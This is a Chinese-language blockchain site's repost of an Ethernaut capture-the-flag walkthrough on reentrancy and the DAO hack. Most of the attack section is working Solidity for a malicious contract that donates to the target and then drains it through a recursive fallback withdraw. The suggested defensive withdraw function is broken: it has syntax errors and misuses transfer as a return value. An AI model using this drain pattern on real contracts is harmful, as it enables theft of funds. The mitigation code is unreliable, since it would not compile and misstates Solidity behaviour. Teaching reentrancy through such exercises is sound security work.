區塊鏈研究實驗室|如何防止惡意執行順序與重現DAO攻擊

買賣虛擬貨幣

什麼是重入攻擊?

重入攻擊發生在單執行緒計算環境中,當執行堆疊跳轉或呼叫子例程時,在返回到原始執行之前。

一方面,這種單執行緒執行確保了智慧合約的原子性,並消除了一些競爭條件。另一方面,合約容易受到執行順序不佳的影響。

在上面的示例中,合同B是惡意合同,遞迴地呼叫A.withdraw()來耗盡合同A的資金。請注意,基金提取在合同A從其遞迴迴圈返回之前成功完成,甚至意識到B已經提取出超過其自身餘額的方式。

此Ethernaut級別利用此重入問題以及導致DAO駭客攻擊的以下其他因素:

  • 任何人都可以呼叫Fallback函式並執行惡意程式碼

  • 惡意外部合同可能會濫用提款權

1、建立一個名為Reenter.sol的惡意合同,該合同將首先捐贈給Reentrance.sol,然後遞迴地從中退出,直到Reentrance耗盡資金。

contract Reenter {
    Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
uintpublic amount = 1 ether;    //withdrawal amount each time
}

2、Reenter.sol和以太合約結構相同

constructor()publicpayable{
}

3、建立公共函式,以便reenter.sol可以向reentrance.sol捐款,並在其餘額分類賬中註冊為捐贈者:

function donateToSelf() public{
    original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
  }

4、呼叫此函式將確保您的惡意合同至少可以呼叫withdraw()一次,即透過if(balances [msg.sender]> = _amount)檢查。

上圖說明了Reenter.sol從Reentrance.sol中提取所有資金的遞迴迴圈。

讓我們在合同B中實現惡意回退功能,這樣當合同A執行msg.sender.call.value(_amount)()退還合同B時,您的惡意合同會觸發更多的撤銷。

5、實現此惡意回退函式:

function() publicpayable{
if (address(original).balance != 0 ) {
        original.withdraw(amount); 
    }
}

最後,在Remix中:將您的合同部署到Ropsten,為其植入以太,捐贈給Reentrance,然後呼叫Fallback函式,從Reentrance中耗盡所有資金。

關鍵要點:

  • 執行順序在Solidity中非常重要。如果你必須進行外部函式呼叫,那就做你做的最後一件事(在所有必要的檢查和餘額之後):

function withdraw(uint _amountpublic{
if(balances[msg.sender] >= _amount) {
        balances[msg.sender] -= _amount;         
if(msg.sender.transfer(_amount)()) {
            _amount;
        }
    }
}
// Or even better, invoke transfer in a separate function

  • 包括一個互斥鎖以防止重入,例如 使用布林鎖變數來指示執行深度。

  • 使用函式修飾符檢查不變數時要小心:修飾符在函式開頭執行。 如果變數狀態將在整個函式期間發生變化,請考慮將修改器提取到放置在函式中正確行的檢查中。

  • “使用轉移將資金從合同中轉出,因為它會丟擲並限制gas轉發。 呼叫和傳送等低階函式只返回false,但是當接收合同失敗時不會中斷執行流程。“ - 來自Ethernaut級別

免責聲明:

  1. 本文版權歸原作者所有,僅代表作者本人觀點,不代表鏈報觀點或立場。
  2. 如發現文章、圖片等侵權行爲,侵權責任將由作者本人承擔。
  3. 鏈報僅提供相關項目信息,不構成任何投資建議

推荐阅读

;